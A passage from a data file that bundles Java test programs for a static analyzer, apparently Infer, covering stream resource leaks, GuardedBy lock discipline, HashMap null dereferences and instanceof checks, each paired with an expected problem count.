byte[] arr = new byte[10];\n FileInputStream fis;\n try {\n fis = new FileInputStream(\"file.txt\");\n DataInputStream dis = new DataInputStream(fis);\n dis.read(arr);\n dis.close();\n } catch (IOException e) {\n }\n }\n\n public void dataInputStreamClosedAfterReadBooleanOk() throws IOException {\n FileInputStream fis;\n DataInputStream dis = null;\n try {\n fis = new FileInputStream(\"file.txt\");\n dis = new DataInputStream(fis);\n dis.readBoolean();\n } catch (IOException e) {\n } finally {\n if (dis != null) dis.close();\n }\n }\n\n public static void try_with_resourceOK() throws IOException {\n try (DataInputStream dis = new DataInputStream(new FileInputStream(\"foo.txt\"))) {\n int version = dis.readInt();\n if (version != 0) {\n throw new RuntimeException(\"Unexpected version \" + version);\n }\n }\n }\n\n // DeflaterInputStream tests\n\n public void deflaterInputStreamNotClosedAfterReadBad() {\n FileInputStream fis;\n try {\n fis = new FileInputStream(\"file.txt\");\n DeflaterInputStream dis = new DeflaterInputStream(fis, null);\n dis.read();\n dis.close();\n } catch (IOException e) {\n }\n }\n\n public void deflaterInputStreamClosedAfterResetOk() throws IOException {\n FileInputStream fis;\n DeflaterInputStream dis = null;\n try {\n fis = new FileInputStream(\"file.txt\");\n dis = new DeflaterInputStream(fis, null);\n dis.reset();\n } catch (IOException e) {\n } finally {\n if (dis != null) dis.close();\n }\n }\n\n // GZipInputStream tests\n\n public void gzipInputStreamNotClosedAfterReadBad() {\n FileInputStream fis;\n try {\n fis = new FileInputStream(\"file.txt\");\n GZIPInputStream gzipInputStream = new GZIPInputStream(fis);\n gzipInputStream.read();\n gzipInputStream.close();\n } catch (IOException e) {\n }\n }\n\n public void gzipInputStreamClosedAfterReadOk() throws IOException {\n FileInputStream fis = null;\n GZIPInputStream gzipInputStream = null;\n try {\n fis = new FileInputStream(\"file.txt\");\n gzipInputStream = new GZIPInputStream(fis);\n gzipInputStream.read();\n } catch (IOException e) {\n } finally {\n if (gzipInputStream != null) gzipInputStream.close();\n else if (fis != null) fis.close();\n }\n }\n\n // DigestInputStream tests\n\n public void digestInputStreamNotClosedAfterReadBad() {\n byte[] arr = new byte[10];\n FileInputStream fis;\n try {\n fis = new FileInputStream(\"file.txt\");\n DigestInputStream dis = new DigestInputStream(fis, null);\n dis.read(arr);\n dis.close();\n } catch (IOException e) {\n }\n }\n\n public void digestInputStreamClosedAfterReadOk() throws IOException {\n FileInputStream fis;\n DigestInputStream dis = null;\n try {\n fis = new FileInputStream(\"file.txt\");\n dis = new DigestInputStream(fis, null);\n dis.read();\n } catch (IOException e) {\n } finally {\n if (dis != null) dis.close();\n }\n }\n\n // InflaterInputStream tests\n\n public void inflaterInputStreamNotClosedAfterReadBad() {\n FileInputStream fis;\n try {\n fis = new FileInputStream(\"file.txt\");\n InflaterInputStream iis = new InflaterInputStream(fis, null);\n iis.read();\n iis.close();\n } catch (IOException e) {\n }\n }\n\n public void inflaterInputStreamClosedAfterAvailableOk() throws IOException {\n FileInputStream fis;\n InflaterInputStream iis = null;\n try {\n fis = new FileInputStream(\"file.txt\");\n iis = new InflaterInputStream(fis, null);\n iis.available();\n } catch (IOException e) {\n } finally {\n if (iis != null) iis.close();\n }\n }\n\n // PushbackInputStream tests\n\n public void pushbackInputStreamNotClosedAfterReadBad() {\n FileInputStream fis;\n try {\n fis = new FileInputStream(\"file.txt\");\n PushbackInputStream pms = new PushbackInputStream(fis);\n pms.read();\n pms.close();\n } catch (IOException e) {\n }\n }\n\n public void pushbackInputStreamClosedAfterResetOk() throws IOException {\n FileInputStream fis;\n PushbackInputStream pms = null;\n try {\n fis = new FileInputStream(\"file.txt\");\n pms = new PushbackInputStream(fis);\n pms.reset();\n } catch (IOException e) {\n } finally {\n if (pms != null) pms.close();\n }\n }\n\n public void twoLevelWrapperNoLeakOk(File file) throws IOException {\n DataInputStream in = new DataInputStream(new BufferedInputStream(new FileInputStream(file)));\n in.close();\n }\n}\n" + }, + { + "testname": "FilterOutputStreamLeaks.java", + "testlanguage": "java", + "expected-problems": 46, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport java.io.BufferedOutputStream;\nimport java.io.DataOutputStream;\nimport java.io.FileOutputStream;\nimport java.io.FilterOutputStream;\nimport java.io.IOException;\nimport java.security.DigestOutputStream;\nimport java.util.zip.CheckedOutputStream;\nimport java.util.zip.DeflaterOutputStream;\nimport java.util.zip.GZIPOutputStream;\nimport java.util.zip.InflaterOutputStream;\nimport javax.crypto.CipherOutputStream;\n\npublic class FilterOutputStreamLeaks {\n\n // FilterOutputStream tests\n\n public void filterOutputStreamNotClosedAfterWriteBad() {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n try {\n fis = new FileOutputStream(\"file.txt\");\n FilterOutputStream fos = new FilterOutputStream(fis);\n fos.write(arr);\n fos.close();\n } catch (IOException e) {\n }\n }\n\n public void filterOutputStreamClosedAfterWriteOk() throws IOException {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n FilterOutputStream fos = null;\n try {\n fis = new FileOutputStream(\"file.txt\");\n fos = new FilterOutputStream(fis);\n fos.write(arr);\n } catch (IOException e) {\n } finally {\n if (fos != null) fos.close();\n }\n }\n\n // DataOutputStream tests\n\n public void dataOutputStreamNotClosedAfterWriteBad() {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n try {\n fis = new FileOutputStream(\"file.txt\");\n DataOutputStream dos = new DataOutputStream(fis);\n dos.write(arr);\n dos.close();\n } catch (IOException e) {\n }\n }\n\n public void dataOutputStreamClosedAfterWriteOk() throws IOException {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n DataOutputStream dos = null;\n try {\n fis = new FileOutputStream(\"file.txt\");\n dos = new DataOutputStream(fis);\n dos.write(arr);\n } catch (IOException e) {\n } finally {\n if (dos != null) dos.close();\n }\n }\n\n // BufferedOutputStream tests\n\n public void bufferedOutputStreamNotClosedAfterWriteBad() {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis = null;\n try {\n fis = new FileOutputStream(\"file.txt\");\n BufferedOutputStream bos = new BufferedOutputStream(fis);\n bos.write(arr);\n bos.close();\n } catch (IOException e) {\n }\n }\n\n public void bufferedOutputStreamClosedAfterWriteOk() throws IOException {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n BufferedOutputStream bos = null;\n try {\n fis = new FileOutputStream(\"file.txt\");\n bos = new BufferedOutputStream(fis);\n bos.write(arr);\n } catch (IOException e) {\n } finally {\n if (bos != null) bos.close();\n }\n }\n\n // CheckedOutputStream tests\n\n public void checkedOutputStreamNotClosedAfterWriteBad() {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n try {\n fis = new FileOutputStream(\"file.txt\");\n CheckedOutputStream chos = new CheckedOutputStream(fis, null);\n chos.write(arr);\n chos.close();\n } catch (IOException e) {\n }\n }\n\n public void checkedOutputStreamClosedAfterWriteOk() throws IOException {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n CheckedOutputStream chos = null;\n try {\n fis = new FileOutputStream(\"file.txt\");\n chos = new CheckedOutputStream(fis, null);\n chos.write(arr);\n } catch (IOException e) {\n } finally {\n if (chos != null) chos.close();\n }\n }\n\n // CipherOutputStream tests\n\n public void cipherOutputStreamNotClosedAfterWriteBad() {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n try {\n fis = new FileOutputStream(\"file.txt\");\n CipherOutputStream cos = new CipherOutputStream(fis, null);\n cos.write(arr);\n cos.close();\n } catch (IOException e) {\n }\n }\n\n public void cipherOutputStreamClosedAfterWriteOk() throws IOException {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n CipherOutputStream cos = null;\n try {\n fis = new FileOutputStream(\"file.txt\");\n cos = new CipherOutputStream(fis, null);\n cos.write(arr);\n } catch (IOException e) {\n } finally {\n if (cos != null) cos.close();\n }\n }\n\n // DeflaterOutputStream tests\n\n public void deflaterOutputStreamNotClosedAfterWriteBad() {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n try {\n fis = new FileOutputStream(\"file.txt\");\n DeflaterOutputStream dos = new DeflaterOutputStream(fis, null);\n dos.write(arr);\n dos.close();\n } catch (IOException e) {\n }\n }\n\n public void deflaterOutputStreamClosedAfterWriteOk() throws IOException {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n DeflaterOutputStream dos = null;\n try {\n fis = new FileOutputStream(\"file.txt\");\n dos = new DeflaterOutputStream(fis, null);\n dos.write(arr);\n } catch (IOException e) {\n } finally {\n if (dos != null) dos.close();\n }\n }\n\n public void deflaterOutputStreamWithArgNotClosedAfterWriteBad(FileOutputStream fis) {\n byte[] arr = {1, 2, 3};\n try {\n DeflaterOutputStream dos = new DeflaterOutputStream(fis, null);\n dos.write(arr);\n } catch (IOException e) {\n }\n }\n\n public void deflaterOutputStreamWithArgClosedAfterWriteOk(FileOutputStream fis)\n throws IOException {\n byte[] arr = {1, 2, 3};\n DeflaterOutputStream dos = new DeflaterOutputStream(fis, null);\n try {\n dos.write(arr);\n } finally {\n dos.finish();\n }\n }\n\n // DigestOutputStream tests\n\n public void digestOutputStreamNotClosedAfterWriteBad() {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n try {\n fis = new FileOutputStream(\"file.txt\");\n DigestOutputStream dos = new DigestOutputStream(fis, null);\n dos.write(arr);\n dos.close();\n } catch (IOException e) {\n }\n }\n\n public void digestOutputStreamClosedAfterWriteOk() throws IOException {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n DigestOutputStream dos = null;\n try {\n fis = new FileOutputStream(\"file.txt\");\n dos = new DigestOutputStream(fis, null);\n dos.write(arr);\n } catch (IOException e) {\n } finally {\n if (dos != null) dos.close();\n }\n }\n\n // InflaterOutputStream tests\n\n public void inflaterOutputStreamNotClosedAfterWriteBad() {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n try {\n fis = new FileOutputStream(\"file.txt\");\n InflaterOutputStream ios = new InflaterOutputStream(fis, null);\n ios.write(arr);\n ios.close();\n } catch (IOException e) {\n }\n }\n\n public void inflaterOutputStreamClosedAfterWriteOk() throws IOException {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n InflaterOutputStream ios = null;\n try {\n fis = new FileOutputStream(\"file.txt\");\n ios = new InflaterOutputStream(fis, null);\n ios.write(arr);\n } catch (IOException e) {\n } finally {\n if (ios != null) ios.close();\n }\n }\n\n // GZipOutputStream tests\n\n public void gzipOutputStreamNotClosedAfterFlushBad() {\n FileOutputStream fos;\n try {\n fos = new FileOutputStream(\"file.txt\");\n GZIPOutputStream gzipOutputStream = new GZIPOutputStream(fos);\n gzipOutputStream.flush();\n gzipOutputStream.close();\n } catch (IOException e) {\n }\n }\n\n public void gzipOutputStreamClosedAfterWriteOk() throws IOException {\n byte[] arr = {1, 2, 3};\n FileOutputStream fos = null;\n GZIPOutputStream gzipOutputStream = null;\n try {\n fos = new FileOutputStream(\"file.txt\");\n gzipOutputStream = new GZIPOutputStream(fos);\n gzipOutputStream.write(arr);\n } catch (IOException e) {\n } finally {\n if (gzipOutputStream != null) gzipOutputStream.close();\n else if (fos != null) fos.close();\n }\n }\n\n // PrintStream tests\n\n public void printStreamNotClosedAfterWriteBad() {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n try {\n fis = new FileOutputStream(\"file.txt\");\n InflaterOutputStream printer = new InflaterOutputStream(fis, null);\n printer.write(arr);\n } catch (IOException e) {\n }\n }\n\n public void printStreamClosedAfterWriteOk() throws IOException {\n byte[] arr = {1, 2, 3};\n FileOutputStream fis;\n InflaterOutputStream printer = null;\n try {\n fis = new FileOutputStream(\"file.txt\");\n printer = new InflaterOutputStream(fis, null);\n printer.write(arr);\n } catch (IOException e) {\n } finally {\n if (printer != null) printer.close();\n }\n }\n}\n" + }, + { + "testname": "GuardedByExample.java", + "testlanguage": "java", + "expected-problems": 117, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport android.annotation.SuppressLint;\nimport com.google.common.annotations.VisibleForTesting;\nimport java.io.Closeable;\nimport java.util.concurrent.locks.Lock;\nimport java.util.concurrent.locks.ReadWriteLock;\nimport java.util.concurrent.locks.ReentrantLock;\nimport java.util.concurrent.locks.ReentrantReadWriteLock;\nimport javax.annotation.concurrent.GuardedBy;\n\npublic class GuardedByExample {\n\n static class AutoCloseableReadWriteUpdateLock implements Closeable {\n @Override\n public void close() {}\n }\n\n private Object mLock = new Object();\n\n private Object mOtherLock = new Object();\n\n private AutoCloseableReadWriteUpdateLock mReadWriteLock = new AutoCloseableReadWriteUpdateLock();\n\n @GuardedBy(\"mLock\")\n private Object f = new Object();\n\n @GuardedBy(\"this\")\n Object g = new Object();\n\n Object mCopyOfG;\n\n @GuardedBy(\"SomeLockThatDoesntExist\")\n Object h = new Object();\n\n @GuardedBy(\"mReadWriteLock\")\n Object i = new Object();\n\n private static Object sLock = new Object();\n\n @GuardedBy(\"sLock\")\n static Object sFld;\n\n @GuardedBy(\"GuardedByExample.class\")\n static Object sGuardedByClass;\n\n static {\n // don't warn on class initializer\n sFld = new Object();\n }\n\n public GuardedByExample() {\n // don't warn on reads or writes of Guarded fields in constructor\n f.toString();\n g = new Object();\n }\n\n void readFBad() {\n this.f.toString();\n }\n\n @SuppressLint(\"InvalidAccessToGuardedField\")\n void readFBadButSuppressed() {\n this.f.toString();\n }\n\n @SuppressLint(\"SomeOtherWarning\")\n void readFBadButSuppressedOther() {\n this.f.toString();\n }\n\n void writeFBad() {\n this.f = new Object();\n }\n\n void readFBadWrongLock() {\n synchronized (mOtherLock) {\n this.f.toString(); // f is supposed to be protected by mLock\n }\n }\n\n void writeFBadWrongLock() {\n synchronized (mOtherLock) {\n this.f = new Object(); // f is supposed to be protected by mLock\n }\n }\n\n void readFAfterBlockBad() {\n synchronized (mLock) {\n }\n this.f.toString();\n }\n\n void writeFAfterBlockBad() {\n synchronized (mLock) {\n }\n this.f = new Object();\n }\n\n @GuardedBy(\"mOtherLock\")\n void readFBadWrongAnnotation() {\n this.f.toString();\n }\n\n @GuardedBy(\"mLock\")\n void readFOkMethodAnnotated() {\n this.f.toString();\n }\n\n synchronized void synchronizedMethodReadOk() {\n this.g.toString();\n }\n\n synchronized void synchronizedMethodWriteOk() {\n this.g = new Object();\n }\n\n void readFOkSynchronized() {\n synchronized (mLock) {\n this.f.toString();\n }\n }\n\n void writeFOkSynchronized() {\n synchronized (mLock) {\n this.f = new Object();\n }\n }\n\n synchronized void synchronizedMethodReadBad() {\n this.f.toString(); // f is supposed to be protected by mLock, not this\n }\n\n synchronized void synchronizedMethodWriteBad() {\n this.f = new Object(); // f is supposed to be protected by mLock, not this\n }\n\n void reassignCopyOk() {\n synchronized (this) {\n mCopyOfG = g; // these are ok: access of g guarded by this\n }\n mCopyOfG = new Object(); // ok; this doesn't change the value of g\n }\n\n void readHBad() {\n synchronized (mLock) { // h is not protected by mLock\n this.h.toString();\n }\n }\n\n synchronized void readHBadSynchronizedMethodShouldntHelp() {\n this.h.toString(); // h is not protected by this\n }\n\n private void privateUnguardedAccess() {\n // not protected, but safe if all call sites guard the access to f\n this.g.toString();\n }\n\n public void guardedCallSite1() {\n synchronized (this) {\n privateUnguardedAccess(); // should not warn; lock is held\n }\n }\n\n public synchronized void guardedCallSite2() {\n privateUnguardedAccess(); // should not warn; lock is held\n }\n\n private void wrapper() {\n privateUnguardedAccess(); // should not warn, just propagate the proof obl\n }\n\n public void guardedCallSite3() {\n synchronized (this) {\n wrapper(); // should not warn\n }\n }\n\n void readWriteLockOk() {\n try (AutoCloseableReadWriteUpdateLock lock = mReadWriteLock) {\n this.i.toString();\n }\n }\n\n static synchronized void staticSynchronizedOk() {\n sGuardedByClass.toString();\n }\n\n static void synchronizeOnClassOk1() {\n synchronized (GuardedByExample.class) {\n sGuardedByClass.toString(); // should not warn here\n sGuardedByClass = new Object(); // or here\n }\n }\n\n void synchronizedOnThisBad() {\n sGuardedByClass.toString();\n }\n\n Object dontReportOnCompilerGenerated() {\n return new Object() {\n public void accessInAnonClassOk() {\n synchronized (mLock) {\n f.toString();\n }\n }\n };\n }\n\n Object readFromInnerClassOkOuter() {\n return new Object() {\n public String readFromInnerClassOk() {\n synchronized (GuardedByExample.this) {\n return g.toString();\n }\n }\n };\n }\n\n Object readFromInnerClassBad1Outer() {\n return new Object() {\n public String readFromInnerClassBad1() {\n synchronized (this) {\n return g.toString(); // g is guarded by the outer class this, not this$0\n }\n }\n };\n }\n\n Object readFromInnerClassBad2Outer() {\n return new Object() {\n public synchronized String readFromInnerClassBad2() {\n return g.toString(); // g is guarded by the outer class this, not this$0\n }\n };\n }\n\n @VisibleForTesting\n public void visibleForTestingOk1() {\n f.toString(); // should push proof obl to caller\n }\n\n @VisibleForTesting\n void visibleForTestingOk2() {\n f.toString(); // should push proof obl to caller\n }\n\n synchronized Object returnPtG() {\n return g;\n }\n\n // note: this test should raise an error under \"by value\" GuardedBy semantics, but not under\n // \"by reference\" GuardedBy semantics\n void readGFromCopyOk() {\n synchronized (this) {\n mCopyOfG = g; // these are ok: access of g guarded by this\n g.toString();\n }\n mCopyOfG.toString(); // should be an error; unprotected access to pt(g)\n }\n\n // another \"by reference\" vs \"by value\" test. buggy in \"by value\", but safe in \"by reference\"\n void usePtG() {\n Object ptG = returnPtG();\n ptG.toString();\n }\n\n Object byRefTrickyBad() {\n Object local = null;\n synchronized (this) {\n local = g; // we have a local pointer... to pt(G)\n }\n g.toString(); // ...but unsafe access is through g!\n return local;\n }\n\n void byRefTrickyOk() {\n Object local = null;\n synchronized (this) {\n local = g; // we have a local pointer... to pt(G)\n }\n local.toString(); // ...but unsafe access is through g!\n }\n\n @GuardedBy(\"ui_thread\")\n Object uiThread1;\n\n @GuardedBy(\"ui-thread\")\n Object uiThread2;\n\n @GuardedBy(\"uithread\")\n Object uiThread3;\n\n @GuardedBy(\"something that's clearly not an expression\")\n Object nonExpression;\n\n // tests for not reporting false alarms on unrecognized GuardedBy strings\n void accessUnrecognizedGuardedByFieldsOk() {\n uiThread1 = new Object();\n uiThread1.toString();\n uiThread2 = new Object();\n uiThread2.toString();\n uiThread3 = new Object();\n uiThread3.toString();\n nonExpression = new Object();\n nonExpression.toString();\n }\n\n // outer class this tests\n @GuardedBy(\"GuardedByExample.this\")\n Object guardedByOuterThis;\n\n synchronized void okOuterAccess() {\n guardedByOuterThis = null;\n }\n\n // inner class this tests\n private class Inner {\n @GuardedBy(\"this\")\n Object guardedByInnerThis1;\n\n @GuardedBy(\"Inner.this\")\n Object guardedByInnerThis2;\n\n @GuardedBy(\"GuardedByExample$Inner.this\")\n Object guardedByInnerThis3;\n\n @GuardedBy(\"Inner.class\")\n Object guardedByInnerClass1;\n\n @GuardedBy(\"GuardedByExample.Inner.class\")\n Object guardedByInnerClass2;\n\n @GuardedBy(\"GuardedByExample$Inner.class\")\n Object guardedByInnerClass3;\n\n synchronized void okAccess1() {\n guardedByInnerThis1 = null;\n }\n\n synchronized void okAccess2() {\n guardedByInnerThis2 = null;\n }\n\n synchronized void okAccess3() {\n guardedByInnerThis3 = null;\n }\n\n void okInnerClassGuard1() {\n synchronized (Inner.class) {\n guardedByInnerClass1 = new Object();\n guardedByInnerClass2 = new Object();\n guardedByInnerClass3 = new Object();\n }\n }\n\n void okInnerClassGuard2() {\n synchronized (GuardedByExample.Inner.class) {\n guardedByInnerClass1 = new Object();\n guardedByInnerClass2 = new Object();\n guardedByInnerClass3 = new Object();\n }\n }\n }\n\n // TODO: report on these cases\n /*\n public void unguardedCallSiteBad1() {\n privateUnguardedAccess(); // should warn; lock is not held\n }\n\n protected void unguardedCallSiteBad2() {\n privateUnguardedAccess(); // should warn; lock is not held\n }\n\n void unguardedCallSiteBad3() {\n privateUnguardedAccess(); // should warn; lock is not held\n }\n */\n\n int n;\n\n public void withloop2() {\n synchronized (mLock) {\n for (int i = 0; i <= n; i++) {\n f = 42;\n }\n }\n }\n\n public void withoutloop2() {\n synchronized (mLock) {\n f = 42;\n }\n }\n\n @GuardedBy(\"self_reference\")\n Object self_reference;\n\n void guardedBySelfReferenceOK() {\n synchronized (self_reference) {\n this.self_reference.toString();\n }\n }\n\n // TODO: report on this case, or at least a version which writes\n /*\n void guardedBySelfReferenceBad() {\n this.self_reference.toString();\n }\n */\n\n @GuardedBy(\"itself\")\n Object itself_fld;\n\n void itselfOK() {\n synchronized (itself_fld) {\n this.itself_fld.toString();\n }\n }\n\n // TODO: report on this case, or at least a version which writes\n /*\n void itselfBad() {\n this.itself_fld.toString();\n }\n */\n\n ReadWriteLock mRWL;\n\n @GuardedBy(\"mRWL\")\n Integer guardedbymRWL;\n\n Integer someOtherInt;\n\n void readLockOK() {\n mRWL.readLock().lock();\n someOtherInt = guardedbymRWL;\n mRWL.readLock().unlock();\n }\n\n void writeLockOK() {\n mRWL.writeLock().lock();\n guardedbymRWL = 55;\n mRWL.writeLock().unlock();\n }\n\n ReentrantReadWriteLock mRRWL;\n\n @GuardedBy(\"mRRWL\")\n Integer guardedbymRRWL;\n\n void reentrantReadLockOK() {\n mRRWL.readLock().lock();\n someOtherInt = guardedbymRRWL;\n mRRWL.readLock().unlock();\n }\n\n void reentrantWriteLockOK() {\n mRRWL.writeLock().lock();\n guardedbymRRWL = 55;\n mRRWL.writeLock().unlock();\n }\n\n // TODO: warn on misuse of read/write locks.\n\n @GuardedBy(\"this\")\n Integer xForSub;\n\n static class Sub extends GuardedByExample {\n\n void goodSub1() {\n synchronized (this) {\n xForSub = 22;\n }\n }\n\n synchronized void goodSub2() {\n xForSub = 22;\n }\n\n void badSub() {\n xForSub = 22;\n }\n }\n\n Lock normallock;\n\n @GuardedBy(\"normallock\")\n Integer guardedbynl;\n\n ReentrantLock reentrantlock;\n\n @GuardedBy(\"reentrantlock\")\n Integer guardedbyrel;\n\n void goodGuardedByNormalLock() {\n normallock.lock();\n guardedbynl = 22;\n normallock.unlock();\n }\n\n void goodTryLockGuardedByNormalLock() {\n if (normallock.tryLock()) {\n guardedbynl = 22;\n normallock.unlock();\n }\n }\n\n void goodTryLockGuardedByReentrantLock() {\n if (reentrantlock.tryLock()) {\n guardedbyrel = 44;\n reentrantlock.unlock();\n }\n }\n\n void badGuardedByNormalLock() {\n guardedbynl = 22;\n }\n\n void badGuardedByReentrantLock() {\n guardedbyrel = 44;\n }\n\n static class OtherClassWithLock {\n ReentrantLock lock;\n\n @GuardedBy(\"lock\")\n Object guardedByLock;\n\n Object otherClassObject;\n\n void guardedInSameClassOk() {\n lock.lock();\n guardedByLock = new Object();\n lock.unlock();\n }\n }\n\n @GuardedBy(\"OtherClassWithLock.lock\")\n Object guardedByLock1;\n\n @GuardedBy(\"codetoanalyze.java.infer.GuardedByExample$OtherClassWithLock.lock\")\n Object guardedByLock2;\n\n @GuardedBy(\"OtherClassWithLock.otherClassObject\")\n Object guardedByLock3;\n\n OtherClassWithLock otherClass;\n\n void guardedByTypeSyntaxOk1() {\n otherClass.lock.lock();\n guardedByLock1 = true;\n guardedByLock2 = true;\n otherClass.lock.unlock();\n }\n\n void guardedByTypeSyntaxOk2() {\n synchronized (otherClass.otherClassObject) {\n guardedByLock3 = true;\n }\n }\n\n void guardedByTypeSyntaxBad() {\n guardedByLock1 = true;\n guardedByLock2 = true;\n }\n}\n" + }, + { + "testname": "HashMapExample.java", + "testlanguage": "java", + "expected-problems": 24, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.infer;\n\nimport java.util.HashMap;\n\npublic class HashMapExample {\n\n public static void putIntegerTwiceThenGetTwiceOk(HashMap hashMap) {\n Integer i32 = new Integer(32);\n Integer i52 = new Integer(52);\n\n hashMap.put(i32, i32);\n hashMap.put(i52, i52);\n\n Integer a = hashMap.get(i32);\n Integer b = hashMap.get(i52);\n\n a.intValue();\n b.intValue();\n }\n\n public static void containsIntegerTwiceThenGetTwiceOk(HashMap hashMap) {\n Integer i32 = new Integer(32);\n Integer i52 = new Integer(52);\n\n if (hashMap.containsKey(i32) && hashMap.containsKey(i52)) {\n Integer a = hashMap.get(i32);\n Integer b = hashMap.get(i52);\n a.intValue();\n b.intValue();\n }\n }\n\n public static int getOneIntegerWithoutCheckBad() {\n HashMap hashMap = new HashMap<>();\n Integer i32 = new Integer(32);\n\n Integer a = hashMap.get(i32);\n\n return a.intValue();\n }\n\n public static void getTwoIntegersWithOneCheckOk(Integer i, Integer j) {\n HashMap hashMap = new HashMap<>();\n\n if (hashMap.containsKey(i) && !i.equals(j)) {\n Integer a = hashMap.get(i);\n Integer b = hashMap.get(j);\n\n a.intValue();\n b.intValue();\n }\n }\n\n public static Integer getOrCreateInteger(final HashMap map, final int id) {\n Integer x = null;\n if (map.containsKey(id)) {\n x = map.get(id);\n } else {\n x = new Integer(0);\n map.put(id, x);\n }\n return x;\n }\n\n public static void getOrCreateIntegerThenDerefOk(final HashMap map) {\n Integer x = getOrCreateInteger(map, 42);\n // dereference x\n x.toString();\n }\n\n void getAfterRemovingTheKeyBad() {\n HashMap map = new HashMap();\n Integer key = 42;\n map.put(key, new Object());\n map.remove(key);\n map.get(key).toString(); // NPE here\n }\n\n void getAfterRemovingAnotherKeyOk() {\n HashMap map = new HashMap();\n Integer key = 42;\n map.put(key, new Object());\n map.remove(0);\n map.get(key).toString();\n }\n\n void getAfterClearBad() {\n HashMap map = new HashMap();\n Integer key = 42;\n map.put(key, new Object());\n map.clear();\n map.get(key).toString(); // NPE here\n }\n\n // A null pointer dereference is currently reportedduring the access of s.equals(\"foo\").\n // Once keySet() is modelled, this null deference should not be reported anymore.\n void FP_getFromKeySetOk(HashMap map) {\n for (String key : map.keySet()) {\n String s = map.get(key);\n if (s.equals(\"foo\")) {\n System.out.println(\"true\");\n }\n }\n }\n}\n" + }, + { + "testname": "InstanceOfExample.java", + "testlanguage": "java", + "expected-problems": 57, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport java.util.*;\n\npublic class InstanceOfExample {\n abstract class Person {}\n\n class Faculty extends Person {}\n\n class Professor extends Faculty {}\n\n class Student extends Person {}\n\n public void testInstanceOfObjFacultyOk() {\n Person p = new Professor();\n Person p2 = null;\n if (p instanceof Faculty) {\n p2 = new Student();\n }\n p2.toString();\n }\n\n public Person updatePerson(Person p) {\n Person new_p = null;\n if (p instanceof Student) {\n new_p = p;\n }\n\n return new_p;\n }\n\n public void testInstanceOfObjStudentOk() {\n Person p = new Student();\n if (p instanceof Student) {\n Person x = updatePerson(p);\n x.toString();\n }\n }\n\n public void testInstanceOfObjProfessorBad() {\n Person p = new Professor();\n Person new_p = updatePerson(p);\n new_p.toString();\n }\n\n public void testInstanceOfObjProfessorOk() {\n Person p = new Professor();\n if (p instanceof Student) {\n Person new_p = updatePerson(p);\n new_p.toString();\n }\n }\n\n public void testInstanceOfNullInterOk() {\n Person p = new Professor();\n // p is null after this call\n p = updatePerson(p);\n // null is not an instance of any class\n if (p instanceof Professor) {\n p.toString();\n }\n }\n\n public void testInstanceOfNullIntraOk() {\n Person p = null;\n if (p instanceof Professor) {\n Object o = null;\n o.toString();\n }\n }\n\n public void testInstanceOfNullIntraBad() {\n Person p = null;\n if (!(p instanceof Professor)) {\n Object o = null;\n o.toString();\n }\n }\n\n public void testInstanceOfPersonBad(Person p) {\n if (p instanceof Person) {\n Object o = null;\n o.toString();\n }\n }\n\n public void testInstanceOfStudentBad(Person p) {\n if (p instanceof Student) {\n Object o = null;\n o.toString();\n }\n }\n\n public void testNotInstanceOfPersonBad(Person p) {\n if (!(p instanceof Person)) { // true if p is null\n Object o = null;\n o.toString();\n }\n }\n\n public void FP_testNotInstanceOfPersonNotNullOk(Person p) {\n if (p != null && !(p instanceof Person)) { // must be false\n Object o = null;\n o.toString();\n }\n }\n\n public void testInstanceOfAndNotInstanceOfPersonOk(Person p) {\n if (p instanceof Person) {\n if (!(p instanceof Person)) {\n Object o = null;\n o.toString();\n }\n }\n }\n\n public void testNotInstanceOfAndInstanceOfPersonOk(Person p) {\n if (!(p instanceof Person)) {\n if (p instanceof Person) {\n Object o = null;\n o.toString();\n }\n }\n }\n\n public void testSubclassOk(Person p) {\n if (p instanceof Faculty) {\n if (!(p instanceof Person)) { // must be false\n Object o = null;\n o.toString();\n }\n }\n }\n\n public void testUnrelatedOk(Person p) {\n if (p instanceof Faculty && p instanceof Student) {\n Object o = null;\n o.toString();\n }\n }\n\n public void checkInstanceArrayLatent(Object array, boolean b) {\n Object o = null;\n if (array instanceof int[]) {\n o = new Object();\n }\n\n if (b && array instanceof boolean[]) {\n o.toString();\n }\n }\n\n public void testInstanceOfIntArrayOk() {\n int arr[] = new int[10];\n checkInstanceArrayLatent(arr, true);\n }\n\n public void testInstanceOfBooleanArrayBad() {\n boolean arr[] = new boolean[10];\n checkInstanceArrayLatent(arr, true);\n }\n\n public List createsEmptyList() {\n return new ArrayList();\n }\n\n public void testInstanceOfArrayListOk() {\n List elems = createsEmptyList();\n Person p = null;\n if (elems instanceof ArrayList) {\n p = new Student();\n }\n p.toString();\n }\n\n public String getClassByName(Object o) {\n return o.getClass().getName();\n }\n\n /*\n * This example triggers a call to instanceof with a Var expression instead of a literal type.\n * This only happens in some peculiar cases. For instance, if we inline the getClassByName call\n * we don't have this problem. For now, we do not handle this example properly but we hope to\n * investigate soon.\n */\n public void 